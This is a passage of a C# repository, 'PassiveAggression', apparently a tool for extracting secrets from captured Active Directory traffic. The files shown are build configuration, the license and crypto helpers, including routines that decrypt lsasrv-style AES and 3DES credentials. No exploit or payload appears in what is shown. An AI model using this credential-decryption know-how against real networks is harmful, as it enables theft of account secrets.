├── .gitignore
├── LICENSE
├── PassiveAggression.sln
├── PassiveAggression
├── Core
│ ├── Crypto
│ │ ├── AES.cs
│ │ ├── Bcrypt.cs
│ │ ├── RC4.cs
│ │ ├── Signing.cs
│ │ └── Utils.cs
│ ├── DataHandler.cs
│ ├── Events
│ │ ├── GetNCChangesResponse.cs
│ │ ├── LookupNamesRequest.cs
│ │ ├── NetRLogonSendToSam.cs
│ │ ├── NetRServerAuthenticate3Response.cs
│ │ ├── RPCBinding.cs
│ │ ├── SMBSessionNegotiation.cs
│ │ ├── SMBSessionSetup.cs
│ │ └── SamrSetInformationUser2.cs
│ ├── Misc.cs
│ ├── Network
│ │ └── TSharkMessage.cs
│ ├── Static
│ │ ├── Enums.cs
│ │ └── Win32.cs
│ ├── TShark.cs
│ └── Win32
│ │ ├── CustomLoadLibrary.cs
│ │ ├── Natives.cs
│ │ └── Syscall.cs
├── NtApiDotNet
│ └── NtApiDotNet.dll
├── PassiveAggression.csproj
├── Program.cs
└── TestData
│ ├── Pwdreset
│ ├── pwdreset.keytab
│ └── pwdreset.pcapng
│ └── krbtgt
│ ├── krbtgtreset.keytab
│ ├── krbtgtreset.pcapng
│ └── readme.txt
└── Readme.md
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Aa][Rr][Mm]/
27 | [Aa][Rr][Mm]64/
28 | bld/
29 | [Bb]in/
30 | [Oo]bj/
31 | [Ll]og/
32 | [Ll]ogs/
33 |
34 | # Visual Studio 2015/2017 cache/options directory
35 | .vs/
36 | # Uncomment if you have tasks that create the project's static files in wwwroot
37 | #wwwroot/
38 |
39 | # Visual Studio 2017 auto generated files
40 | Generated\ Files/
41 |
42 | # MSTest test Results
43 | [Tt]est[Rr]esult*/
44 | [Bb]uild[Ll]og.*
45 |
46 | # NUnit
47 | *.VisualState.xml
48 | TestResult.xml
49 | nunit-*.xml
50 |
51 | # Build Results of an ATL Project
52 | [Dd]ebugPS/
53 | [Rr]eleasePS/
54 | dlldata.c
55 |
56 | # Benchmark Results
57 | BenchmarkDotNet.Artifacts/
58 |
59 | # .NET Core
60 | project.lock.json
61 | project.fragment.lock.json
62 | artifacts/
63 |
64 | # ASP.NET Scaffolding
65 | ScaffoldingReadMe.txt
66 |
67 | # StyleCop
68 | StyleCopReport.xml
69 |
70 | # Files built by Visual Studio
71 | *_i.c
72 | *_p.c
73 | *_h.h
74 | *.ilk
75 | *.meta
76 | *.obj
77 | *.iobj
78 | *.pch
79 | *.pdb
80 | *.ipdb
81 | *.pgc
82 | *.pgd
83 | *.rsp
84 | *.sbr
85 | *.tlb
86 | *.tli
87 | *.tlh
88 | *.tmp
89 | *.tmp_proj
90 | *_wpftmp.csproj
91 | *.log
92 | *.tlog
93 | *.vspscc
94 | *.vssscc
95 | .builds
96 | *.pidb
97 | *.svclog
98 | *.scc
99 |
100 | # Chutzpah Test files
101 | _Chutzpah*
102 |
103 | # Visual C++ cache files
104 | ipch/
105 | *.aps
106 | *.ncb
107 | *.opendb
108 | *.opensdf
109 | *.sdf
110 | *.cachefile
111 | *.VC.db
112 | *.VC.VC.opendb
113 |
114 | # Visual Studio profiler
115 | *.psess
116 | *.vsp
117 | *.vspx
118 | *.sap
119 |
120 | # Visual Studio Trace Files
121 | *.e2e
122 |
123 | # TFS 2012 Local Workspace
124 | $tf/
125 |
126 | # Guidance Automation Toolkit
127 | *.gpState
128 |
129 | # ReSharper is a .NET coding add-in
130 | _ReSharper*/
131 | *.[Rr]e[Ss]harper
132 | *.DotSettings.user
133 |
134 | # TeamCity is a build add-in
135 | _TeamCity*
136 |
137 | # DotCover is a Code Coverage Tool
138 | *.dotCover
139 |
140 | # AxoCover is a Code Coverage Tool
141 | .axoCover/*
142 | !.axoCover/settings.json
143 |
144 | # Coverlet is a free, cross platform Code Coverage Tool
145 | coverage*.json
146 | coverage*.xml
147 | coverage*.info
148 |
149 | # Visual Studio code coverage results
150 | *.coverage
151 | *.coveragexml
152 |
153 | # NCrunch
154 | _NCrunch_*
155 | .*crunch*.local.xml
156 | nCrunchTemp_*
157 |
158 | # MightyMoose
159 | *.mm.*
160 | AutoTest.Net/
161 |
162 | # Web workbench (sass)
163 | .sass-cache/
164 |
165 | # Installshield output folder
166 | [Ee]xpress/
167 |
168 | # DocProject is a documentation generator add-in
169 | DocProject/buildhelp/
170 | DocProject/Help/*.HxT
171 | DocProject/Help/*.HxC
172 | DocProject/Help/*.hhc
173 | DocProject/Help/*.hhk
174 | DocProject/Help/*.hhp
175 | DocProject/Help/Html2
176 | DocProject/Help/html
177 |
178 | # Click-Once directory
179 | publish/
180 |
181 | # Publish Web Output
182 | *.[Pp]ublish.xml
183 | *.azurePubxml
184 | # Note: Comment the next line if you want to checkin your web deploy settings,
185 | # but database connection strings (with potential passwords) will be unencrypted
186 | *.pubxml
187 | *.publishproj
188 |
189 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
190 | # checkin your Azure Web App publish settings, but sensitive information contained
191 | # in these scripts will be unencrypted
192 | PublishScripts/
193 |
194 | # NuGet Packages
195 | *.nupkg
196 | # NuGet Symbol Packages
197 | *.snupkg
198 | # The packages folder can be ignored because of Package Restore
199 | **/[Pp]ackages/*
200 | # except build/, which is used as an MSBuild target.
201 | !**/[Pp]ackages/build/
202 | # Uncomment if necessary however generally it will be regenerated when needed
203 | #!**/[Pp]ackages/repositories.config
204 | # NuGet v3's project.json files produces more ignorable files
205 | *.nuget.props
206 | *.nuget.targets
207 |
208 | # Microsoft Azure Build Output
209 | csx/
210 | *.build.csdef
211 |
212 | # Microsoft Azure Emulator
213 | ecf/
214 | rcf/
215 |
216 | # Windows Store app package directories and files
217 | AppPackages/
218 | BundleArtifacts/
219 | Package.StoreAssociation.xml
220 | _pkginfo.txt
221 | *.appx
222 | *.appxbundle
223 | *.appxupload
224 |
225 | # Visual Studio cache files
226 | # files ending in .cache can be ignored
227 | *.[Cc]ache
228 | # but keep track of directories ending in .cache
229 | !?*.[Cc]ache/
230 |
231 | # Others
232 | ClientBin/
233 | ~$*
234 | *~
235 | *.dbmdl
236 | *.dbproj.schemaview
237 | *.jfm
238 | *.pfx
239 | *.publishsettings
240 | orleans.codegen.cs
241 |
242 | # Including strong name files can present a security risk
243 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
244 | #*.snk
245 |
246 | # Since there are multiple workflows, uncomment next line to ignore bower_components
247 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
248 | #bower_components/
249 |
250 | # RIA/Silverlight projects
251 | Generated_Code/
252 |
253 | # Backup & report files from converting an old project file
254 | # to a newer Visual Studio version. Backup files are not needed,
255 | # because we have git ;-)
256 | _UpgradeReport_Files/
257 | Backup*/
258 | UpgradeLog*.XML
259 | UpgradeLog*.htm
260 | ServiceFabricBackup/
261 | *.rptproj.bak
262 |
263 | # SQL Server files
264 | *.mdf
265 | *.ldf
266 | *.ndf
267 |
268 | # Business Intelligence projects
269 | *.rdl.data
270 | *.bim.layout
271 | *.bim_*.settings
272 | *.rptproj.rsuser
273 | *- [Bb]ackup.rdl
274 | *- [Bb]ackup ([0-9]).rdl
275 | *- [Bb]ackup ([0-9][0-9]).rdl
276 |
277 | # Microsoft Fakes
278 | FakesAssemblies/
279 |
280 | # GhostDoc plugin setting file
281 | *.GhostDoc.xml
282 |
283 | # Node.js Tools for Visual Studio
284 | .ntvs_analysis.dat
285 | node_modules/
286 |
287 | # Visual Studio 6 build log
288 | *.plg
289 |
290 | # Visual Studio 6 workspace options file
291 | *.opt
292 |
293 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
294 | *.vbw
295 |
296 | # Visual Studio 6 auto-generated project file (contains which files were open etc.)
297 | *.vbp
298 |
299 | # Visual Studio 6 workspace and project file (working project files containing files to include in project)
300 | *.dsw
301 | *.dsp
302 |
303 | # Visual Studio 6 technical files
304 | *.ncb
305 | *.aps
306 |
307 | # Visual Studio LightSwitch build output
308 | **/*.HTMLClient/GeneratedArtifacts
309 | **/*.DesktopClient/GeneratedArtifacts
310 | **/*.DesktopClient/ModelManifest.xml
311 | **/*.Server/GeneratedArtifacts
312 | **/*.Server/ModelManifest.xml
313 | _Pvt_Extensions
314 |
315 | # Paket dependency manager
316 | .paket/paket.exe
317 | paket-files/
318 |
319 | # FAKE - F# Make
320 | .fake/
321 |
322 | # CodeRush personal settings
323 | .cr/personal
324 |
325 | # Python Tools for Visual Studio (PTVS)
326 | __pycache__/
327 | *.pyc
328 |
329 | # Cake - Uncomment if you are using it
330 | # tools/**
331 | # !tools/packages.config
332 |
333 | # Tabs Studio
334 | *.tss
335 |
336 | # Telerik's JustMock configuration file
337 | *.jmconfig
338 |
339 | # BizTalk build output
340 | *.btp.cs
341 | *.btm.cs
342 | *.odx.cs
343 | *.xsd.cs
344 |
345 | # OpenCover UI analysis results
346 | OpenCover/
347 |
348 | # Azure Stream Analytics local run output
349 | ASALocalRun/
350 |
351 | # MSBuild Binary and Structured Log
352 | *.binlog
353 |
354 | # NVidia Nsight GPU debugger configuration file
355 | *.nvuser
356 |
357 | # MFractors (Xamarin productivity tool) working folder
358 | .mfractor/
359 |
360 | # Local History for Visual Studio
361 | .localhistory/
362 |
363 | # Visual Studio History (VSHistory) files
364 | .vshistory/
365 |
366 | # BeatPulse healthcheck temp database
367 | healthchecksdb
368 |
369 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
370 | MigrationBackup/
371 |
372 | # Ionide (cross platform F# VS Code tools) working folder
373 | .ionide/
374 |
375 | # Fody - auto-generated XML schema
376 | FodyWeavers.xsd
377 |
378 | # VS Code files for those working on multiple tools
379 | .vscode/*
380 | !.vscode/settings.json
381 | !.vscode/tasks.json
382 | !.vscode/launch.json
383 | !.vscode/extensions.json
384 | *.code-workspace
385 |
386 | # Local History for Visual Studio Code
387 | .history/
388 |
389 | # Windows Installer files from build outputs
390 | *.cab
391 | *.msi
392 | *.msix
393 | *.msm
394 | *.msp
395 |
396 | # JetBrains Rider
397 | *.sln.iml
398 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 hackett92
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/PassiveAggression.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.34031.279
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PassiveAgression", "PassiveAggression\PassiveAggression.csproj", "{4E646ACF-58BD-430A-B7BD-9F7D7D75FEE8}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {4E646ACF-58BD-430A-B7BD-9F7D7D75FEE8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {4E646ACF-58BD-430A-B7BD-9F7D7D75FEE8}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {4E646ACF-58BD-430A-B7BD-9F7D7D75FEE8}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {4E646ACF-58BD-430A-B7BD-9F7D7D75FEE8}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {5FCE2DCE-24D9-402A-BFE2-626CC6E5DC64}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Crypto/AES.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Security.Cryptography;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace PassiveAgression.Core.Crypto
9 | {
10 | public class AES
11 | {
12 | ///
13 | /// Decrypts AES128 CFB8 ciphertext with given key and Iv
14 | ///
15 | ///
16 | ///
17 | ///
18 | ///
19 | public static byte[] DecryptAES128CFB8(byte[] ciphertext, byte[] key, byte[] iv)
20 | {
21 | using (Aes aesAlg = Aes.Create())
22 | {
23 | aesAlg.Key = key;
24 |
25 | if (iv != null) { aesAlg.IV = iv; }
26 |
27 |
28 | aesAlg.Mode = CipherMode.CFB;
29 | aesAlg.Padding = PaddingMode.None;
30 |
31 | using (ICryptoTransform decryptor = aesAlg.CreateDecryptor())
32 | {
33 | byte[] decryptedBytes = decryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length);
34 | return decryptedBytes;
35 | }
36 | }
37 | }
38 |
39 | ///
40 | /// Decrypts AES256 cipherText with given key and Iv
41 | ///
42 | ///
43 | ///
44 | ///
45 | ///
46 | ///
47 | public static byte[] DecryptAES256(byte[] cipherText, byte[] key, byte[] iv, CipherMode ciphermode)
48 | {
49 | using (AesManaged aesAlg = new AesManaged())
50 | {
51 | aesAlg.Key = key;
52 | aesAlg.IV = iv;
53 | aesAlg.Mode = ciphermode;
54 | //aesAlg.Padding = PaddingMode.PKCS7;
55 | aesAlg.Padding = PaddingMode.None;
56 |
57 | using (MemoryStream msDecrypt = new MemoryStream())
58 | {
59 | using (ICryptoTransform decryptor = aesAlg.CreateDecryptor())
60 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Write))
61 | {
62 | csDecrypt.Write(cipherText, 0, cipherText.Length);
63 | }
64 | return msDecrypt.ToArray();
65 | }
66 | }
67 | }
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Crypto/Bcrypt.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.Win32.SafeHandles;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Reflection.Metadata;
6 | using System.Runtime.ConstrainedExecution;
7 | using System.Runtime.InteropServices;
8 | using System.Security;
9 | using System.Text;
10 | using System.Threading.Tasks;
11 | using static PassiveAgression.Core.Win32.Natives;
12 |
13 | namespace PassiveAgression.Core.Crypto
14 | {
15 | internal class Bcrypt
16 | {
17 | public static string BCRYPT_AES_ALGORITHM = "AES";
18 | public static string BCRYPT_3DES_ALGORITHM = "3DES";
19 | public static string BCRYPT_CHAINING_MODE = "ChainingMode";
20 |
21 | public static string BCRYPT_CHAIN_MODE_CBC = "ChainingModeCBC";
22 | public static string BCRYPT_CHAIN_MODE_CFB = "ChainingModeCFB";
23 |
24 | [System.Security.SecurityCritical(System.Security.SecurityCriticalScope.Everything)]
25 | internal sealed class SafeBCryptAlgorithmHandle : SafeHandleZeroOrMinusOneIsInvalid
26 | {
27 | private SafeBCryptAlgorithmHandle() : base(true)
28 | {
29 | }
30 |
31 | protected override bool ReleaseHandle()
32 | {
33 | return (NTSTATUS)BCryptCloseAlgorithmProvider(handle, 0) == NTSTATUS.Success;
34 | }
35 | }
36 |
37 | [SecuritySafeCritical]
38 | internal sealed class SafeBCryptKeyHandle : SafeHandleZeroOrMinusOneIsInvalid
39 | {
40 | internal SafeBCryptKeyHandle() : base(true) { }
41 |
42 | [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
43 | protected override bool ReleaseHandle()
44 | {
45 | return (NTSTATUS)BCryptDestroyKey(handle) == NTSTATUS.Success;
46 | }
47 | }
48 |
49 | public static byte[] DecryptCredentials(byte[] encrypedPass, byte[] IV, byte[] aeskey, byte[] deskey)
50 | {
51 | SafeBCryptAlgorithmHandle hProvider, hDesProvider;
52 | SafeBCryptKeyHandle hAes, hDes;
53 | int result;
54 | NTSTATUS status;
55 |
56 | byte[] passDecrypted = new byte[1024];
57 | byte[] initializationVector = new byte[16];
58 |
59 | // Same IV used for each cred, so we need to work on a local copy as this is updated
60 | // each time by BCryptDecrypt
61 | Array.Copy(IV, initializationVector, IV.Length);
62 |
63 | if ((encrypedPass.Length % 8) != 0)
64 | {
65 | // If suited to AES, lsasrv uses AES in CFB mode
66 | BCryptOpenAlgorithmProvider(out hProvider, BCRYPT_AES_ALGORITHM, null, 0);
67 |
68 |
69 | using (hProvider)
70 | {
71 | BCryptSetProperty(hProvider, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_CFB, BCRYPT_CHAIN_MODE_CFB.Length, 0);
72 |
73 | GCHandle pkeypinnedArray = GCHandle.Alloc(aeskey, GCHandleType.Pinned);
74 | IntPtr pkey = pkeypinnedArray.AddrOfPinnedObject();
75 |
76 | GCHandle pencrypedPasspinnedArray = GCHandle.Alloc(encrypedPass, GCHandleType.Pinned);
77 | IntPtr pencrypedPass = pencrypedPasspinnedArray.AddrOfPinnedObject();
78 |
79 | GCHandle pinitializationVectorpinnedArray = GCHandle.Alloc(initializationVector, GCHandleType.Pinned);
80 | IntPtr pinitializationVector = pinitializationVectorpinnedArray.AddrOfPinnedObject();
81 |
82 | GCHandle ppassDecryptedinnedArray = GCHandle.Alloc(passDecrypted, GCHandleType.Pinned);
83 | IntPtr ppassDecrypted = ppassDecryptedinnedArray.AddrOfPinnedObject();
84 |
85 | BCryptGenerateSymmetricKey(hProvider, out hAes, IntPtr.Zero, 0, pkey, aeskey.Length, 0);
86 | using (hAes)
87 | {
88 | status = (NTSTATUS)BCryptDecrypt(hAes, pencrypedPass, encrypedPass.Length, IntPtr.Zero, pinitializationVector, IV.Length, ppassDecrypted, passDecrypted.Length, out result, 0);
89 | if (status != 0)
90 | {
91 | return new byte[0];
92 | }
93 | }
94 | }
95 | }
96 | else
97 | {
98 | // If suited to 3DES, lsasrv uses 3DES in CBC mode
99 | BCryptOpenAlgorithmProvider(out hDesProvider, BCRYPT_3DES_ALGORITHM, null, 0);
100 |
101 | using (hDesProvider)
102 | {
103 | BCryptSetProperty(hDesProvider, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_CBC, BCRYPT_CHAIN_MODE_CBC.Length, 0);
104 |
105 | GCHandle pkeypinnedArray = GCHandle.Alloc(deskey, GCHandleType.Pinned);
106 | IntPtr pkey = pkeypinnedArray.AddrOfPinnedObject();
107 |
108 | GCHandle pencrypedPasspinnedArray = GCHandle.Alloc(encrypedPass, GCHandleType.Pinned);
109 | IntPtr pencrypedPass = pencrypedPasspinnedArray.AddrOfPinnedObject();
110 |
111 | GCHandle pinitializationVectorpinnedArray = GCHandle.Alloc(initializationVector, GCHandleType.Pinned);
112 | IntPtr pinitializationVector = pinitializationVectorpinnedArray.AddrOfPinnedObject();
113 |
114 | GCHandle ppassDecryptedinnedArray = GCHandle.Alloc(passDecrypted, GCHandleType.Pinned);
115 | IntPtr ppassDecrypted = ppassDecryptedinnedArray.AddrOfPinnedObject();
116 |
117 | BCryptGenerateSymmetricKey(hDesProvider, out hDes, IntPtr.Zero, 0, pkey, deskey.Length, 0);
118 | using (hDes)
119 | {
120 | status = (NTSTATUS)BCryptDecrypt(hDes, pencrypedPass, encrypedPass.Length, IntPtr.Zero, pinitializationVector, 8, ppassDecrypted, passDecrypted.Length, out result, 0);
121 | if (status != 0)
122 | {
123 | return new byte[0];
124 | }
125 | }
126 | }
127 | }
128 |
129 | Array.Resize(ref passDecrypted, result);
130 | return passDecrypted;
131 | }
132 |
133 | // encrypt credentials using AES or 3Des
134 | public static byte[] EncryptCredentials(byte[] passDecrypted, byte[] IV, byte[] aeskey, byte[] deskey)
135 | {
136 | SafeBCryptAlgorithmHandle hProvider, hDesProvider;
137 | SafeBCryptKeyHandle hAes, hDes;
138 | int result;
139 | NTSTATUS status;
140 |
141 | byte[] encrypedPass = new byte[1024];
142 | byte[] initializationVector = new byte[16];
143 |
144 | // Same IV used for each cred, so we need to work on a local copy as this is updated
145 | // each time by BCryptDecrypt
146 | Array.Copy(IV, initializationVector, IV.Length);
147 |
148 | if ((passDecrypted.Length % 8) != 0)
149 | {
150 | // If suited to AES, lsasrv uses AES in CFB mode
151 | BCryptOpenAlgorithmProvider(out hProvider, BCRYPT_AES_ALGORITHM, null, 0);
152 | using (hProvider)
153 | {
154 | BCryptSetProperty(hProvider, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_CFB, BCRYPT_CHAIN_MODE_CFB.Length, 0);
155 |
156 | GCHandle pkeypinnedArray = GCHandle.Alloc(aeskey, GCHandleType.Pinned);
157 | IntPtr pkey = pkeypinnedArray.AddrOfPinnedObject();
158 |
159 | GCHandle pencrypedPasspinnedArray = GCHandle.Alloc(encrypedPass, GCHandleType.Pinned);
160 | IntPtr pencrypedPass = pencrypedPasspinnedArray.AddrOfPinnedObject();
161 |
162 | GCHandle pinitializationVectorpinnedArray = GCHandle.Alloc(initializationVector, GCHandleType.Pinned);
163 | IntPtr pinitializationVector = pinitializationVectorpinnedArray.AddrOfPinnedObject();
164 |
165 | GCHandle ppassDecryptedinnedArray = GCHandle.Alloc(passDecrypted, GCHandleType.Pinned);
166 | IntPtr ppassDecrypted = ppassDecryptedinnedArray.AddrOfPinnedObject();
167 |
168 | BCryptGenerateSymmetricKey(hProvider, out hAes, IntPtr.Zero, 0, pkey, aeskey.Length, 0);
169 | using (hAes)
170 | {
171 | status = (NTSTATUS)BCryptEncrypt(hAes, ppassDecrypted, passDecrypted.Length, IntPtr.Zero, pinitializationVector, IV.Length, pencrypedPass, encrypedPass.Length, out result, 0);
172 | if (status != 0)
173 | {
174 | return new byte[0];
175 | }
176 | }
177 | }
178 | }
179 | else
180 | {
181 | // If suited to 3DES, lsasrv uses 3DES in CBC mode
182 | BCryptOpenAlgorithmProvider(out hDesProvider, BCRYPT_3DES_ALGORITHM, null, 0);
183 |
184 | using (hDesProvider)
185 | {
186 | BCryptSetProperty(hDesProvider, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_CBC, BCRYPT_CHAIN_MODE_CBC.Length, 0);
187 |
188 | GCHandle pkeypinnedArray = GCHandle.Alloc(deskey, GCHandleType.Pinned);
189 | IntPtr pkey = pkeypinnedArray.AddrOfPinnedObject();
190 |
191 | GCHandle pencrypedPasspinnedArray = GCHandle.Alloc(encrypedPass, GCHandleType.Pinned);
192 | IntPtr pencrypedPass = pencrypedPasspinnedArray.AddrOfPinnedObject();
193 |
194 | GCHandle pinitializationVectorpinnedArray = GCHandle.Alloc(initializationVector, GCHandleType.Pinned);
195 | IntPtr pinitializationVector = pinitializationVectorpinnedArray.AddrOfPinnedObject();
196 |
197 | GCHandle ppassDecryptedinnedArray = GCHandle.Alloc(passDecrypted, GCHandleType.Pinned);
198 | IntPtr ppassDecrypted = ppassDecryptedinnedArray.AddrOfPinnedObject();
199 |
200 | BCryptGenerateSymmetricKey(hDesProvider, out hDes, IntPtr.Zero, 0, pkey, deskey.Length, 0);
201 | using (hDes)
202 | {
203 | status = (NTSTATUS)BCryptEncrypt(hDes, ppassDecrypted, passDecrypted.Length, IntPtr.Zero, pinitializationVector, 8, pencrypedPass, encrypedPass.Length, out result, 0);
204 | if (status != 0)
205 | {
206 | return new byte[0];
207 | }
208 | }
209 | }
210 | }
211 |
212 | Array.Resize(ref encrypedPass, result);
213 |
214 | return encrypedPass;
215 | }
216 |
217 |
218 | }
219 | }
220 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Crypto/RC4.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace PassiveAgression.Core.Crypto
8 | {
9 | public class RC4
10 | {
11 |
12 | private class _RC4 : IDisposable
13 | {
14 | private byte[] s;
15 | private int i, j;
16 |
17 | public _RC4(byte[] key)
18 | {
19 | s = new byte[256];
20 | for (int k = 0; k < 256; k++)
21 | {
22 | s[k] = (byte)k;
23 | }
24 |
25 | int j = 0;
26 | for (int k = 0; k < 256; k++)
27 | {
28 | j = (j + key[k % key.Length] + s[k]) & 255;
29 | Swap(s, k, j);
30 | }
31 |
32 | i = j = 0;
33 | }
34 |
35 | public byte[] TransformFinalBlock(byte[] inputBuffer, int offset, int count)
36 | {
37 | byte[] outputBuffer = new byte[count];
38 | for (int k = 0; k < count; k++)
39 | {
40 | i = (i + 1) & 255;
41 | j = (j + s[i]) & 255;
42 | Swap(s, i, j);
43 | outputBuffer[k] = (byte)(inputBuffer[offset + k] ^ s[(s[i] + s[j]) & 255]);
44 | }
45 | return outputBuffer;
46 | }
47 |
48 | private void Swap(byte[] array, int i, int j)
49 | {
50 | byte temp = array[i];
51 | array[i] = array[j];
52 | array[j] = temp;
53 | }
54 |
55 | public void Dispose()
56 | {
57 | Array.Clear(s, 0, s.Length);
58 | }
59 | }
60 |
61 | ///
62 | /// Encrypts or decrypt data using given key
63 | ///
64 | ///
65 | ///
66 | ///
67 | public static byte[] TransformData(byte[] encryptedData, byte[] key)
68 | {
69 | try
70 | {
71 | // Create an instance of the RC4 algorithm
72 | using (_RC4 rc4 = new _RC4(key))
73 | {
74 |
75 | // Decrypt the data
76 | byte[] decryptedBytes = rc4.TransformFinalBlock(encryptedData, 0, encryptedData.Length);
77 | return decryptedBytes;
78 | }
79 |
80 | }
81 | catch (Exception ex)
82 | {
83 | // Handle any exceptions that may occur during decryption
84 | Console.WriteLine("Decryption error: " + ex.Message);
85 | return null;
86 | }
87 | }
88 | }
89 | }
90 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Crypto/Signing.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Security.Cryptography;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace PassiveAgression.Core.Crypto
9 | {
10 | internal class Signing
11 | {
12 | ///
13 | /// Thx: https://github.com/fortra/impacket/blob/master/impacket/crypto.py#L211
14 | ///
15 | ///
16 | ///
17 | ///
18 | ///
19 | ///
20 | ///
21 | public static byte[] ComputeHMACSha256KDFCounterMode(byte[] KI, byte[] Label, byte[] Context, int L)
22 | {
23 | int h = 256;
24 | int n = L / h;
25 | int r = 32;
26 | if (n == 0)
27 | {
28 | n = 1;
29 | }
30 |
31 | if (n > Math.Pow(2, r) - 1)
32 | {
33 | throw new Exception("Error computing KDF_CounterMode");
34 | }
35 |
36 | byte[] result = new byte[0];
37 | byte[] K = new byte[0];
38 |
39 | for (int i = 1; i <= n; i++)
40 | {
41 | byte[] input = BitConverter.GetBytes(i).Reverse().ToArray()
42 | .Concat(Label)
43 | .Concat(new byte[] { 0 })
44 | .Concat(Context)
45 | .Concat(BitConverter.GetBytes(L).Reverse().ToArray())
46 | .ToArray();
47 |
48 | using (HMACSHA256 hmac = new HMACSHA256(KI))
49 | {
50 | K = hmac.ComputeHash(input);
51 | }
52 |
53 | result = result.Concat(K).ToArray();
54 | }
55 |
56 | return result.Take(L / 8).ToArray();
57 | }
58 |
59 | ///
60 | /// Computes MD5 hash of given data
61 | ///
62 | ///
63 | ///
64 | public static byte[] ComputeMD5Hash(byte[] data)
65 | {
66 | try
67 | {
68 |
69 | // Create an instance of the MD5 algorithm
70 | using (MD5 md5 = MD5.Create())
71 | {
72 | // Calculate the MD5 hash
73 | byte[] hashBytes = md5.ComputeHash(data);
74 |
75 | return hashBytes;
76 | }
77 | }
78 | catch (Exception ex)
79 | {
80 | // Handle any exceptions that may occur during hash calculation
81 | Console.WriteLine("MD5 calculation error: " + ex.Message);
82 | return null;
83 | }
84 | }
85 |
86 | ///
87 | /// Calculates HmacSHA512 key
88 | ///
89 | ///
90 | ///
91 | ///
92 | public static byte[] CalculateHmacSha512(byte[] key, byte[] data)
93 | {
94 | using (HMACSHA512 hmac = new HMACSHA512(key))
95 | {
96 | return hmac.ComputeHash(data);
97 | }
98 | }
99 | }
100 | }
101 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Crypto/Utils.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Security.Cryptography;
6 | using System.Text;
7 | using System.Threading.Tasks;
